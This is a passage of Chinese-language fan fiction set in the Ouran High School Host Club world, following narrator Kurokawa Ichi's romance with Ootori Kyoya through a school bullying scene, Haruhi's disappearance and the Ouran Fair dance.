只是单纯的唇瓣相贴,呼吸交融,却让我的心跳陡然开始加速,声音大到我怀疑他都能听见。
我放缓了呼吸,就连眨眼都放轻了动作,仿佛任何一点响动都会惊扰到什么。
他闭着眼睛睫毛不断颤动,紧张的模样看得我想笑,心里又觉得痒痒的,总之就是很开心。
不知过了多久,他终于放开了我,黑眸中认真的神色将说不清的情绪直白摊开在我面前。
他说:“我不想你离开。”
“再给我一点时间,我一定能理清所有想法,在这之前小一陪在我身边好不好。”
我盯着他的眼睛,总觉得看到了期待的情绪,忍不住用双手捧着他的脸与他对视,那双眼睛仿佛在完成什么任务一样一眨不眨的让我审阅。
这是喜欢吗?
我的心像泡在热水里一样,看着他因没睡好而通红的眼睛,终于止不住笑出声:“你是不是笨,我没说要走啊。”
如果不到最后一步,他们之间的所有分开都会有重逢。
凤镜夜看着她少见的笑开的模样,薄薄的皮肤下涌上热意,胸口鼓动,最终随着心意再次捧着她的脸吻了下去。
不同于刚才懵懂的试探,这一次他笨拙的品尝着柔软的唇,牙膏的气味在深入中逐渐交融。
他睁开了眼睛,深深地看着少女酡红的脸,环住他的手再次收紧,恨不得将她融进身体,或是缩小装进口袋。
这就是喜欢吗?
他大概忘不了这个清晨,在简陋下陷的沙发上强迫自己在短暂的睡眠中醒来,压抑不悦的心情在和那双蓝眸对视的瞬间消失不见。
几乎通宵的脑子发出的指令随着最根本的需求变得简短而直接,从记事开始习惯性的隐忍也在此时让步,他抱住了她。
唇瓣是不可思议的柔软,拥抱的感觉也让人上瘾,他的心跳快得让他以为自己随时会因为熬夜过度而猝死,甜甜的橘子味却瞬间将多余的思绪清除,只剩下单纯的因为她而加快的心跳声。
他与她额头相抵,清晨的气息清爽,阳光中飞舞着细小的灰尘颗粒,吐息之间交融的甜意。
一切的一切都让他想要将人拥的更紧。
凤镜夜垂眸在她头顶虔诚的落下一吻。
这就是喜欢吧。
她让他体会到了患得患失的担忧,相拥亲密时的失序,一直以来潜伏在两位哥哥之下的凤家三子不必在她面前维持完美。
他也知道她的渴望和狼狈。
“真好。”
我听到头顶梦呓般的声音:“我们会在一起吧?”
我摸着兵荒马乱的胸口,下意识决定为他的茫然做点什么。
我微微退开一步,摊开手放在他面前。
他愣了愣慢了一步把大了一号的手搭了上来,失去了眼镜后他的面容仿佛都变得更加清晰,冷静睿智的眼神似乎也多了点纯然。
我轻咳一声打断了幻想,动了动手指与他十指相扣,总觉得刚才是不是有什么滤镜,不然是怎么从凤镜夜眼里看到纯真的。
“那么,镜夜君。”
他的瞳孔因为变化的称呼放大了一瞬。
我牵着他的手放在胸前:“在樱兰祭上邀请我跳第一支舞吧。”
“当做我们正式开始的仪式感。”
接下来的日子因为筹备樱兰祭而陡然加快。
作为给大多数有家业要继承的学生的锻炼,樱兰祭这样的大型活动从头到尾都交由三年级的学生们策划和落实。
一时间校园里都是学生们行色匆匆的身影。
在此期间因为师德师风问题开除的两名教职人员倒是没有多大的水花。
反而是凤家三少凤镜夜结婚的消息引起了不小的轰动。
我抱着书从图书馆自习室出来,慢吞吞的走进四号楼,路上不止一次听到关于凤镜夜英年早婚的遗憾,以及他的妻子是什么人的猜测。
其中狐疑的目光时不时的落在我身上。
我不经意间和其中一人对上了视线,抱紧了课本暗暗加快脚步,心中默念:不要过来不要过来。
在我踏进电梯之前,一只手搭上了我的肩膀,我身体一僵。
“喂黑川,你知道镜夜大人的妻子是什么人吗?”
我缓缓转身,面容娇美的少女用高傲的表情看着我,双眸中闪烁着显而易见的轻蔑。
我知道她。
山田美子霓虹最大电器商的女儿,也是凤镜夜的常客。
跟在她身后的几人纷纷笑了起来。
“她不是没什么背景的转学生吗?怎么可能知道?”
山田美子当然知道黑川一的身世,可谁让她做了那种事情,又正好撞到自己面前呢?
“她可是那个公然在第三音乐教室让镜夜大人娶她的疯子,你这么迷恋镜夜大人不可能不知道吧?你这种人不是为了嫁入豪门什么都会做吗?”
她做了精致美甲的手指戳向我的脸,我不动声色的往后退了退,总觉得想要辩驳又好像身上中了一箭。
但在樱兰祭之前是不可能告诉她们的。
我想到和凤镜夜的约定,心里闪过甜意,唇角微微上扬。
这个反抗的动作正好激怒了山田美子。
她抓住我的领口凑近:“你这个小门户的私生女都在私底下做了什么快告诉我,跟踪、请求、威胁还是私家侦探?”
她好像急于在我这个做过引起众怒事情的人身上问出点什么,好合理的将愤怒都宣泄在我身上。
我抓住她的手腕,向后灵巧的退了几步躲开她们的纠缠,蹙着眉整理了一下衣服。
山田美子愣了一下,除了手腕的酸麻,根本没看清是怎么脱身的。
她第一次认真打量这个人。
不再是那天在第三音乐教室时穿的寒酸校服,剪裁得体的高档布料包裹着她纤细的身体,呈现出漂亮的线条。
整齐盘在脑后的黑发柔顺发亮,露出一截纤细的脖颈,巴掌大的脸颊两边垂落着标志性的一刀切。
就连那双无神的双眸好似都变得令人探寻。
她向后灵巧的走了几步,低跟鞋在大理石地面发出清脆的声响,看过来的姿态从容又有些……说不出的优雅。
山田美子心中忽然生出一种猜测。
一个人怎么会短时间内有这么大的改变,有没有可能镜夜大人的妻子就是,不,不可能!
我和凤镜夜约定了时间补习,没时间再和她们纠缠,趁她愣神的时候直接离开。
我将一边发丝揽到耳后,寻找着和凤镜夜约定的教室。
刚转过拐角就被人堵住。
常陆院光神色焦急的扣住我的手腕:“春绯!你看到春绯了吗!”
我眉头微蹙活动着发疼的手腕想要甩开他,常陆院馨先一步赶过来拉开他的手。
他和哥哥相同的五官同样带着愁绪:“春绯在知道大少要和那个女人结婚后就不见了。”
“你是她关系最好的女性朋友,可以帮忙找找吗?”
我听完了来龙去脉,心逐渐沉了下去。【你现在阅读的是 】
80-90
第81章
艾克蕾儿·多涅尔出身法国伯爵世家的名门千金,家世背景不亚于男公关部众人,长相精致美丽,据说环的奶奶想让她和环联姻来加强两家的联系。
她今天忽然出现在公关部,须王环被奶奶要求陪着她游玩。
在这之后春绯就不见了。
突然出现这种事,须王环和春绯之间会怎么样?
我将心底的疑问压了下去,在两人希翼的注视中拨通了春绯的电话,免提的提示音规律的响起。
两人紧张的视线差点把我拿着手机的手射穿,我不由自主的也跟着紧张起来。
长长的一声提示音后电话自动挂断了。
我抿唇看向两人提议:“她没接到我的电话, 也可能是手机不在身上,我们分头去找吧。”
常陆院光失望地吐了口气:“能找的地方我们都找过了。”
常陆院馨蹙着眉朝我勉强一笑:“春绯的父亲也说她没有回家,环和艾克蕾尔一起走了,我们有点担心她。”
他们担忧的神情让我反而冷静下来,大概是关心则乱, 但我身为局外人能看到的反而更多。
我给凤镜夜发了条消息取消了今天的补习。
出了这种事情他应该也没有时间了。
“春绯不是那种遇到困难就偷偷躲起来哭泣的人,我觉得你们想错了。”
双子离开的脚步顿住转头看我。
一道身影在不远处也停下了脚步目光静静地落在她身上。
被两双长得差不多的眼睛盯着,我莫名有点压力毕竟我们之间的关系一向不算好,稍微后退一步和他们保持距离,清了清嗓子。
“你们应该比我更清楚才对, 春绯坚强又勇敢, 比起在学校继续无头苍蝇似的寻找还不如想想须王环会出现在哪里。”
“还有……”
我犹豫了一下。
接下来的话对他们说是不是不太好。
清冷的嗓音在身后响起,伴着从容靠近的脚步声。
“还有什么?”
是凤镜夜。
我想要转头后背却已经若即若离的贴上他的胸膛,肩头一重,他将手搭在我的肩头阻止了我的动作。
我想了想最近和春绯聊天中她的状态:“春绯和须王君还没有明确表达心意吧。”
不用他们回答我就已经从双子的脸上看出来了。
还真是够慢热的, 我叹了口气。
“在我看来春绯应该是主动去找须王君了。”
都到这种程度了, 如果还不明白自己的心意,那也太迟钝了。
常陆院馨似乎想到了什么,捏了捏哥哥的手,看向我身后:“镜夜我们先去了。”
“啊,交给你们了,部里还有些事需要我安排,等会儿给我电话。”
他们似乎没想到凤镜夜不跟他们一起去有些错愕的同时看向我,还是没再说什么,匆忙离开了。
我蹙了蹙眉,但还是抱着课本仰头注视着他的下巴:“今天很忙吧,不用管我了,你去……”
凤镜夜配合着低头。
我吸了口气,手指轻点他的侧脸,微微发热的温度通过指间逐渐印入心底。
心中的湖泊泛起一圈圈疼痛的涟漪。
我将整只手覆盖上他脸侧的红痕:“你的脸……”
他按上我的手背,另一只手轻轻梳理着我的头发,眼眸中是我看不懂的复杂情绪。
“这没什么,只是今天比预料中来的人要多,可能没时间给你补习了,你先回去吧。”
我歪了歪脑袋:“该知道我都知道了哦。”
“如果有什么需要帮忙的话,我可以晚点走。”
“或者。”
我朝他张开双臂:“要补充点能量吗?”
他清冷的面容终于出现了一丝可以称之为脆弱的神色,俯身双臂穿过我的身侧。
猝不及防间我被环抱着放在了窗台上,那双手顺势紧紧扣住我的后背,我错愕的低头看着埋在胸前看不清神色的凤镜夜,抬起的手缓缓落在他的发顶,生疏的学着他的动作穿过他的发丝耐心的给予他安抚。
……
我微笑着抬眼看向复古床框外的天空,动了动有点发麻的腿:“镜夜君。”
埋头环抱着我的凤镜夜发出闷闷的声音:“嗯?”
“已经半个小时了哦,男公关部那边的公开营业不用管吗?还是说就算是小憩也有起床气呢?”
他沉默着收紧手臂,从抬起脸,自下而上的看着我,眼神清明没有出声。
我取下他的眼镜:“这么累吗?”
看着他耍赖也丝毫不减帅气的脸,我有点蠢蠢欲动。
“辛苦了,那么就给辛劳的镜夜sama一点奖励好了。”
我缓缓靠近他的脸,他没有动作只是这样看着我,似乎我做什么他都不会惊讶。
“啪。”
我双手按上他的脸颊,稍微用力把他冷静的俊脸挤压得皱在一起,看着那双微微睁大的黑眸,微笑着低头在他被迫嘟起的唇上轻轻印了一下。
“好了~这就是奖励,明天见。”
我松开手跳下窗台朝外走去,在不知何时到来的山田美子惊愕地眼神中朝她提了提唇角,擦肩而过的时候好心的提醒:“你东西掉了。”
直到走出几人的视线,我才握拳在原地跳了跳。
虽然被她们撞到是偶然,但不可否认……这种当面打脸的感觉真是太爽了!
我背着手一蹦一跳的回到公寓,抱着枕头在床上转了一圈,才拿起手机和被找到的春绯发消息。
春绯:抱歉让你担心了,我去换衣服的时候耽误了一下。
黑川一:! !不用抱歉!
黑川一:你没事就好,关于须王君的事,春绯是怎么想的呢?
我下巴搁在枕头上,等了好一会儿才等到回信。
春绯:环前辈说要和艾克蕾儿订婚,然后解散男公关部……要离开大家我觉得很难过。
我手一抖手机砸在脸上,捂着脸震惊的坐起来,运指如飞。
黑川一:和第一次见面的人结婚? !
黑川一:环前辈真的决定了吗?
黑川一:……你还好吗?
黑川一:[小猫摸头.jpg]
春绯:我还好啦,今天发生了好多事我有点累先睡了,晚安。
黑川一:晚安。
我盘腿坐在床上沉思,原本还以为是须王家里的决定,没想到须王环自己都同意了吗?
我应该不会看错,须王环应该是喜欢春绯的才对,要怎么才能帮帮春绯呢?
“扣扣。”
敲门声打断了我的思绪,手机同时震了震。
凤镜夜:开门。
我从床上跳起来,打开门,凤镜夜正站在门外朝我勾唇,我也跟着笑了一下,让开位置。
“都这么晚了,怎么还过来?”
他把手里的保温盒递给我走了进来:“吃晚饭了吗?”
我捧着保温盒往客厅溜达的动作一僵:“……你怎么知道?”
做饭太麻烦了,要是不太饿的话,我会干脆少吃一顿,反正第二天可以去学校吃好吃的。
他脱下校服外套,随手挂在进门处的挂钩上,闻言一边解着领带一边看着我。
“被我猜中了。”
他诈我!
我盘腿坐在的沙发上打开保温盒,翻了个白眼,不再理他,专心致志的在他洗手换衣服一连串熟练的动作中独自品尝美味。
“好吃~”
我捧着脸嚼着蔬菜天妇罗,身边的沙发倾斜了一下,随后一个黑色的脑袋枕上我的大腿。
我稍微移开饭盒,凤镜夜闭着眼睛休憩的脸出现在眼前。
我戳了戳他还带着水汽的鼻子:“这是在哪里打包的便当?”
他闭着眼睛抓住我的手,随口答道:“这是春绯的父亲准备的。”
我拽着他的手到眼前,用脸颊蹭了蹭,然后挣开他的手继续吃饭的:“春绯的父亲?”
“嗯。”
“今天出了点事,大家和春绯的情绪都不好,就干脆先送春绯回家了,他父亲邀请我们一起吃饭。”
想到男公关部要解散的消息,我把空掉的饭盒放到桌上,戳了戳他脸上的镜架,又好奇的取下来戴在脸上四处看了看。
下巴被微凉的手指捏住,我低头透过镜片微微扭曲的视野看向凤镜夜,他抬手替我取下眼镜。
“不要随便戴近视镜,对眼睛不好。”
我莫名有点震惊:“居然真的是近视镜,原来镜夜也会近视啊。”
“……我姑且也是个正常人类。”
凤镜夜看起来好像有点无语的闭上眼睛,微锁的眉头却舒展开来,捏着我的手陷入了浅眠。
我原本还想问问他还记不记得明天要要邀请我跳第一支舞这件事,见他浅笑着的脸,又觉得没有必要了。
他从来都是有规划的人,一定不会忘记。
这种事情问多了反而有点不好意思。
·
第二天是樱兰祭游园日。
男公关部仍然是开放营业。
我被一块温热的帕子从睡梦中唤醒,愣愣地盯着陌生的女性看了一会儿:“你是?”
穿着得体长裙棕发一丝不苟梳在脑后的女人,恭敬的朝我行礼:“日安夫人,镜夜少爷已经提前出发去学校了。”
她看着我的眼神柔和得不像话:“他提前吩咐我们来为您准备舞会的造型。”
我抱着被子最终还是顶不住她期待的眼神:“好好好,我准备就是了。”
我看着镜子里的自己,以及身后占满了客厅的衣裙和佣人,忍不住小声嘀咕:“舞会下午才开始,这么早准备的话在学校走动是不是太隆重了点。”
正在给我梳头的棕发女性温和一笑:“不会哦。”
“能够让年轻女孩子们尽情打扮的日子,大家都会提前准备好的,夫人要是害羞的话,就去找镜夜少爷一起。”
“他今天肯定会乐意带着自己的舞伴行动的。”
我将信将疑地点点头,身体还是诚实的拿出手机给凤镜夜发了消息。
黑川一:你在哪,等会儿可以来接我吗?
黑川一:[猫猫捂脸.jpg]
“夫人,樱兰到了。”
我看了眼仍然空白的对话框,抿了抿唇,看向窗外校服和礼服交织的人群,轻咳一声对司机说:“您可以陪我等一会儿吗?”
第82章
樱兰祭的第二天,停在樱兰门外的加长林肯隐匿在一众豪车当中并不算起眼。
但……车内的氛围却有些凝重。
古川握着方向盘脸上一开始漫不经心的表情变成了小心翼翼,通过后视镜观察少夫人的脸色。
可恶,完全面无表情啊!一定是生气了!
镜夜少爷怎么能把新婚的妻子就这样孤零零的扔在校门口这么长时间!
他清了清嗓子,生疏地想要安慰一下还倔强着维持着体面( X的少夫人,就见她忽然合上手里的书,拿出手机噼里啪啦发出什么。
古川心里一紧,一滴冷汗从颊边滑落,在心里对着少爷土下座。
抱歉少爷, 终究是我选定的时机太晚了,少夫人一定是在发信息质问了。
接下来他们说不定会闹别扭,从新婚的爱侣变成相敬如宾的夫妻,又在岁月的流逝下变成井水不犯河水的陌路人——而这一切的起点是樱兰祭第二天的下午他没能及时劝谏!
他有罪!
古川在心里泪流满面,跳起来以不符壮汉身形的灵敏在狭窄地驾驶座翻了个身土下座面对准备下车的少夫人冷漠的眼神,颤抖着伸出一只手。
“请再给镜夜少爷一个机会少夫人!”
我按在车门的手一顿,茫然地看着情绪忽然激昂起来的古川,先不说为什么突然就要给镜夜一个机会。
我视线上移迟疑地说:“先不说那个, 你不痛吗?”
司机先生理着寸板的脑袋完完全全“碰”的一声撞上车顶了哦。
古川听了少夫人的话猛虎落泪:“完全不痛,比起这个, 少夫人你一定要原谅镜夜少爷啊!”
我沉默了一会儿。
那种忽然间被快进了一集的茫然又来了。
车门外似乎因为异样的声响吸引来了许多视线, 甚至就连保安先生都表情疑惑的靠过来了。
我微微转头再次对上古川发射着强烈光波的眼神,头皮后知后觉的开始发麻,总之在保安先生过来之前先下车吧。
“……我没有生气。”
古川松了口气,刚毅的脸上出现了安详的笑容:“是吗?那就太好了。”
他想到几分钟前在工作群看到的消息,看着她的背影补充道:“镜夜少爷也不是故意放您一个人的,刚才A区地下停车场里有他的指示,似乎是遇见了点麻烦呢。”
A区地下停车场?
原本以为凤镜夜在男公关部公开参观忙碌的我歪了歪头。
“这样啊。”
我和古川先生道谢后,在保安若有似无的注视当中低声喃喃:“带来的小说看完了, 顺便去看看好了。”
“快看快看那个礼服,好厉害。”
“哇,我能去问问从哪里定制的吗?真的超漂亮啊。”
我不自在的提着一边裙摆朝辨认好的方向加快脚步,那些人是在看我吗?
难道我是凤镜夜妻子的消息已经传开了?
这样想着我在行走中习惯性的保持着脊背挺直的漂亮姿态,从人来人往的小广场穿过,被乌黑卷发衬托着的小脸严肃又优雅,倒是那双眼睛深处还带着不明显的忐忑。
虽然已经不会再害怕得恨不得逃跑了。
但这种许多人的场合,我总觉得身边是会有人陪着我的,在那个人身边就算是面对一群面容严肃得可以吓哭小孩的老爷爷也不会害怕。
低跟鞋踏入停车场,光线骤然一暗。
我提着一边裙摆思索着前辈到底什么时候陪我见过一群老爷爷,现在局里高层面容最成熟的也顶多算得上大叔吧,一边左右观察寻找人影。
忽然间不应该出现在停车场的嘶鸣声响起。
我转头看向右侧,瞳孔骤然放大。
在灯光灰暗的停车场内,面容同样英俊的双胞胎驾驶着马车,驮着他们的公主在宽大的车道上飞驰。
明明灯光不够明亮,但他们脸上的表情连带着身体似乎都在发着光。
似乎是看见了我,双胞胎其中一人扯了扯缰绳,稍稍偏移方向。
在那一刹与我的指尖擦身而过。
直到马蹄声彻底远去,我才堪堪回过神,转头看着他们消失的方向,又动了动指尖。
虽然之前就有点想说了,但现在亲眼所见……
“简直就是童话中会出现的场景,单纯善良美丽的公主被甘愿为她保驾护航的双胞胎骑士,正在飞奔着去找回失去的宝物一样。”
好厉害。
我用那只错过的手背贴了贴脸颊,稍微降下脸上温度,双目闪闪。
好想也坐一次那个马车,镜夜会愿意为我赶车吗?
停车场深处的诡异声响吸引了我的注意力。
我勉强收起被感染的少女心,带着受到冲击的心情继续往里面走,穿过马车驶过的路,我好像看到了乌压压的武装部队。 ! !
我倏然躲到一根柱子后面,稍微探出半个脑袋,眯着眼睛观察,小小的吸了口气。
果然没错,那群武装部队中间肯定围着什么,这些黑漆漆的大高个一个接着一个往外飞。
恍惚间画面的最中央似乎闪过一道熟悉的身影,再仔细看去已经消失不见。
“这是在□□火拼吗?!”
樱兰校园里面怎么会有这种事情?
我悄悄摸出手机按下报警电话,有人忽然从背后按住我召唤天降正义的手。
“等等。”
是女生。
我僵硬的脊背松弛下来,小心转头对上宝积寺莲华的眼睛呼了口气:“原来是莲华,你真是吓死我了。”
我瞥到她脚下的升降台,额角抽了抽,强力马达都有静音版本了吗?
不对,现在不是吐槽的时候。
我正色起来:“那边状况看起来不妙(指被包围的人)啊,真的不需要叫人过来帮忙吗?”
莲华摆摆手抓着我踏上她的升降台,脸色看起来有些凝重:“就是因为不妙(指武装部队)才不用叫人。”
“……春绯他们去追须王了,现在我有一个更重要的事情要交给你。”
联姻、解散、大家决定一起找回环这一连串事情和我刚在停车场看到的场景对上。
我恍然大悟,拳掌相击:“原来真的是赶着去追寻宝物……须王的啊。”
更厉害了。
我坐在沙发里捏着下巴沉思。
怎么说呢?
男公关部众人之间的羁绊一定有我未曾参与的重要过往,对他们来说彼此都是非常重要的人吧。
我摸了摸胸口,有点闷闷的,嫉妒倒是不至于,只是觉得有些失落和释然。
没办法和称得上朋友的他们共同参与这样重要的事情。
又释然地决定原谅凤镜夜几个小时不回消息的事。
“真是厉害的羁绊啊,完全无法插入他们之间呢。”
我下意识点点头,忽然对上了莲华平静的眼睛,腾的一下脸红了。
“额,不是,虽然觉得很厉害不错,但是我也没有想要插入,不对,我只要和镜……”
她拍桌子站起来打断我的话,握住我的手:“我都知道的哦,中途出现的我们进不去他们的圈定的范围,所以想要继续留下来就要找好自己的定位。”
定位?
我茫然地和她对视。
她脸上缓缓露出得逞的笑容,从背后抽出一大摞文件放在我们之间:“那么就从最简单的开始吧。”
“帮忙处理因为镜夜大人缺席而没有及时答复的文件。”
我脖子向后仰了仰才看到这堆文件的顶端,艰难地说:“虽然不知道为什么扯到这里,但这些都必须要吗?”
莲华靠回红木座椅,优雅地端着一杯红茶抿了一口:“就是这样,这些都是今天临时出现的问题。”
“关系到最重要的舞会能否正常举行。”
我缓缓拿起钢笔:“哈啊……好的,交给我吧。”
翻开第一份,反正一个人也没什么好玩的,不如在这里做点事。
莲华挑眉:“很好!你很上道嘛!接下来我还有点事情要处理,等会儿再来帮忙哦。”
说完她就乘坐着不知何时出现的通道离开。
偌大的办公室瞬间只剩下我一个人,我看着桌面堆积成山的文件夹,叹了口气,垂头丧气:“怎么感觉被骗了呢。”
我发了一分钟呆,还是开始兢兢业业的干活,这种事情我做得好像比想象中更有天分,速度越来越快。
厚重的丝绒窗帘下,复古墨绿色台灯静静地亮着灯,一只纤细的手握着钢笔挥洒在纸面。
静谧的房间里一时间只剩下沙沙的笔尖摩擦纸面的声音。
我陷入了专注,没注意到时间的流逝。
“那个,我是宝积寺桑叫过来拿文件的,请问好了吗?”
我在手里的这份文件上熟练的写下处理意见,合上放在文件堆的顶端,才放下钢笔。
长时间的专注让我的眼睛有些酸涩。
我长出一口气靠回柔软的座椅,按了按眉心看向门口面容柔和的少年点点头:“处理好的都在这里。”
“还有几份没看完,你稍等,你可以先看看我之前做好的有没有问题。”
泽田纯愣了一下:“啊,好的,真是辛苦了。”
他走到堆积的文件之前,心里有些小小的震撼,没想到竟然全部处理完了!
就连因为太忙而扔过来的无病呻吟都有被好好回答。
明明如果是镜夜前辈在的话,只会看一眼就扔回去,附带上一句:“这种事情都处理不好,你知道我最讨厌白痴了吧。”这种。
泽田纯检查了几份,敬佩的视线落在撑着脸颊靠在椅子里休憩的黑发少女身上:“完全没问题,这些我就带走了前辈。”
我活动了一下手腕站起来:“这么多你拿不完,我跟你一起去吧。”
“诶?这样不会麻烦前辈吗?学生会好多人已经去玩了哦。”
我主动从他手里分出一半抱在手里,朝他歪歪头,开玩笑道:“谁让我现在是个闲人呢,走吧。”
少女的脸在晕黄的灯光下显得不足巴掌大小,卷发柔软的垂落在颊边泛着健康的光泽,瞳孔是认真看才能分辨出的钴蓝色和身上荡漾着深蓝流光的礼服适配极了。
泽田纯多看了这位来帮忙的前辈一眼,忽然脸颊爆红,同手同脚的往外走:“好……好的。”
刚才前辈一直窝在沙发里没有发现,现在看来这位前辈也太像猫了吧。
那种不经意间露出的柔软神色,不算出色的五官配比搭配在一起怎么看都像是一直卷毛小黑猫啊!
他放慢脚步直到和前辈并排,鼓起勇气:“请问前辈是三年级吗?”
我透过走廊墙壁上欧式风格的窗框看向外面,随口回答:“是的,我是三年一班的黑川一,你好。”
黑川一。
就连名字也……
泽田纯红着脸说:“前辈好!我是二年一班的泽田纯,是泽田医药的继承人。”
他在说什么啊!什么继承人,万一前辈以为他在炫耀怎么办!
口袋里震了震。
我没来得及回答他,把文件放在桌上,期待的打开手机看向发件人。
店长: [图片]店长我已经在这里安顿好了哦,被小一拒绝一起出国真是悲伤,我每天晚上都哭湿枕头嘤嘤。
店长:[图片][图片][图片]看!这就是我为你打下的江山。
店长:不管什么时候都欢迎小一改变主意哦[wink]
是已经去美国留学的店长啊,我有点失望。
我最近已经没有在店里兼职了,一是因为暂时不缺钱,二是为了增加放学后和凤镜夜相处的时间。
实际上我还挺喜欢店里的氛围的。
黑川一:[黑猫亲亲.jpg]
黑川一:我也期待和前辈再见面,不过现在暂时没有去美国的想法哦。
店长:[咬手绢]知道了知道了,可恶,一定又是为了那个男人!
店长:虽然我们家比不上凤家,但那种心思深沉看起来就不会哄人的小子有哪里好的。
店长:随时敞开怀抱等你mua 。
我也回复一个亲亲才关掉手机,有些哭笑不得,店长好像对只有一面之缘的镜夜有些误解。
“前辈。”
我转头对上泽田纯的眼睛,视线却被他身后的钟塔吸引,都这个时候了。
舞会快开始了吧。
泽田纯看着前辈的脸,憋了憋,终于吐出一句话:“前辈有舞伴了吗?”
我下意识点头:“有了哦。”
咔嚓。
我好像听到什么东西破碎的声音,四处看了看,最终回到捂着胸口面色惨淡的泽田纯身上,递了手帕过去,下意识压低声音:“你还好吗?”
“泽田君也要参加舞会的吧,我们一起下去?”
是前辈的手帕!
他接过手帕飞快擦了擦眼角,大声应是。
泽田纯跟在前辈身后,唇角止不住上扬,摸着口袋里的手帕精神高昂。
有舞伴也没关系,这只不过是代表着他慢了一步,但只要还没有结婚就有机会!
我不知道跟在身后的学弟都在想什么,只是拿出手机反复在和凤镜夜聊天的界面退出进入,不知道镜夜现在在做什么呢。
有没有把须王追回来?
还能赶上今天的舞会吗?
我看着男公关部其他人一致安静的对话框,叹了口气,大概还在努力的路上吧。
期待很久的“第一支舞的开始”会不会错过了呢?
刚走下楼梯就能听到悠扬的钢琴曲,作为舞池的交谊厅前广场被粉色的樱花装点,一双双黑影缓缓滑下舞池随着风中带着花香的乐声律动。
我提着轻飘飘的裙摆顺着舞池边缘往交谊厅内的自助长桌走去,对着琳琅满目的美食不知为何也有点没胃口,随手拿了块小蛋糕坐在休息区发呆。
“前辈?”
我回过神对上泽田纯关注的眼神:“抱歉我有点走神,你不去跳舞吗?”
坐在对面的少年面容柔软清俊,说话时有些羞涩:“啊,说起这个,因为太忙了,等回过神认识的女生已经都有舞伴了。”
我听着他的话虽然情况不一样,心里依然升起了点同病相怜。
“真可惜,这样享受青春的机会可是错过一次少一次哦。”
我为了安慰他,把手里没动的小蛋糕递过去,真诚地给出建议:“吃点甜的会好点。”
“再等会儿说不定可以和心仪的女生跳一支舞。”
“他们总不会跳一整场吧。”
泽田纯看着被递到面前的提拉米苏,白皙的脸颊又开始隐隐泛红,前辈只是在关心我?
他的眼睛越来越亮。
前辈说的没错,机会是留给有准备的人的!
他就在这里等着前辈。
我起身又拿了个盘子,心虚的背对着他快走了两步,刚刚没看清随手拿了最讨厌的口味,从早上撑到现在的胃已经在抗议了,我重新夹了几块橘子草莓口味的蛋糕走了回去。
我往嘴里塞了一块小蛋糕,抬头眯着眼睛扫了一眼过于闪亮的吊灯,厅里的灯光好足,就连这种小角落都被照得分毫毕现。
被灯光模糊的视线恍惚间印入一道颀长的身影。
二楼?
我噌的站了起来,穿过抱怨不停的人群往楼上冲去,朝记忆中的方向四处张望。
泽田纯气喘吁吁的停在原地,望着学姐逐渐消失的背影,崇拜又失落:“好厉害,跑得这么快。”
上到二楼又穿过黑影走过的回廊的我站在一排被锁住的房间外,神情失落又疑惑:“是我看错了吗?”
我靠在雕刻着精致花纹的栏杆上看着窗外的钟塔,还是没能放弃对第一支舞的约定的执着。
我按下凤镜夜的电话,空闲的手指攥住裙摆上的珍珠,忐忑不安。
对面一直都没有回音。
华丽窗框外的灯塔沉默的注视着我指针又动了一格。
我并不是想不自量力的插入他们自成一派的羁绊当中,只是想稍微靠近一点。
也不是想要立即让他全心全意的看着我,只是想让他分出一些目光。
我垂着头让自己背对着钟塔,不去看时间流逝,走廊对面的窗户倒印出了我失望的眼神。
明明是答应我的第一支舞。
我们的开始就这么不重要吗?
好歹给我回个消息啊可恶。
窗户上的倒影逐渐出现一丝丝委屈,紧接着如同滚雪球一般越滚越大,我握紧自动挂断的手机胸口起伏几下,最终还是恶狠狠的塞进手包。
急促的脚步声从身后传来。
我睁大眼睛倏然转身。
泽田纯气喘吁吁的朝我露出一个笑容:“前辈原来你在这里啊,去了这么久还没回来,我有点担心所以上来看看。”
一盆冷水兜头落下来。
我垂眸遮掩住失望,连带着过分起伏的情绪也缓和下来,我看着胸口垂落的指环,在他细心的引导下跟着下楼。
算了,今天公关部出了这么多事,他忙不过来也正常。
镜夜不是轻易许下承诺的人,只不过目前我在他心里的地位不过对他有特殊意义的社团而已。
我对自己说,要慢慢来,这是正常的。
重新坐会休息区,我心情果然平复多了,还能偶尔回应泽田纯抛来的话题。
舞会很快临近尾声。
我心底最后一丝期待落幕,整个人反而轻松起来,吃完最后一块蛋糕,杵着下巴看泽田纯。
“谢谢你陪着我浪费了整个舞会的时间。”
泽田纯慌张摆手:“不不不,本来我也没打算跳舞。”
而且也不能放着露出那样表情的前辈不管。
他想到刚才找到前辈时,如同落水猫咪一样狼狈可怜的表情,忍不住谴责那位放了前辈鸽子的舞伴。
“哦~”
我拍拍手起身:“原来是这样,我还想说作为谢礼,想和找不到舞伴的泽田君跳一支舞呢。”
他下意识摇头,忽然顿住,唰的站了起来。
“等等!”
他弯腰一手落在伸手,一只手朝前辈发出邀请:“前……前辈,请问能和我跳第一支舞吗?”
我抿唇把指尖落在他手上:“不是第一支,是最后一支。”
泽田纯茫然地点点头。
我顺着他的力道朝外走去,融入跳最后一支舞的人群中。
·
随着最后一支舞浪漫的乐声响起,作为舞池的广场上人多了起来。
但最显眼的还是和埴之冢光邦转圈的春绯,或者说是消失了几个小时,终于出现的男公关部。
在舞池当中准备好的常陆院光看向不远处拿着手机打字的镜夜,抱怨道:“这种开心的时候还要看手机,镜夜前辈也来啊。”
常陆院馨和他对视一眼,同时朝凤镜夜走去,推着他的后背往舞池走。
“这可是事先决定好的顺序哦,作为我们之后的选手,镜夜前辈要好好把春绯交给大少。”
“快来快来,我们之间怎么能少了镜夜前辈你。”
凤镜夜看着手机里一连串的消息和电话,抿唇:“不,我答应了小一和她跳第一支舞。”
“又是黑川——”
常陆院光拉长声音。
常陆院馨接着道:“春绯和大少的事,镜夜你难道就甘心这么退出吗?就算这样也要亲手送过去才行吧。”
他看着凤镜夜的脸,不相信他真的放下春绯反而喜欢上那个怎么看都没什么特点黑川。
不甘心?
凤镜夜微微一怔,他按了按胸口,眉眼间有些疑惑。
常陆院馨满意地点点头:“镜夜前辈,总之下一个就交给你了,要领好春绯。”
他说完又补充:“而且只是一段,也不算是一支舞嘛,春绯今天已经很难过了,不要让她留下遗憾啊镜夜前辈。”
凤镜夜站在成双成对的人群中,动了动唇:“……”
怀中骤然被推来一具身体。
他动了动手指,垂眸遮掩眸中复杂的神色,下意识牵住了春绯的手,娴熟地舞姿带着白裙少女翩翩起舞,引起一小片压抑的惊呼。
第83章
俗话说人靠衣装马靠鞍。
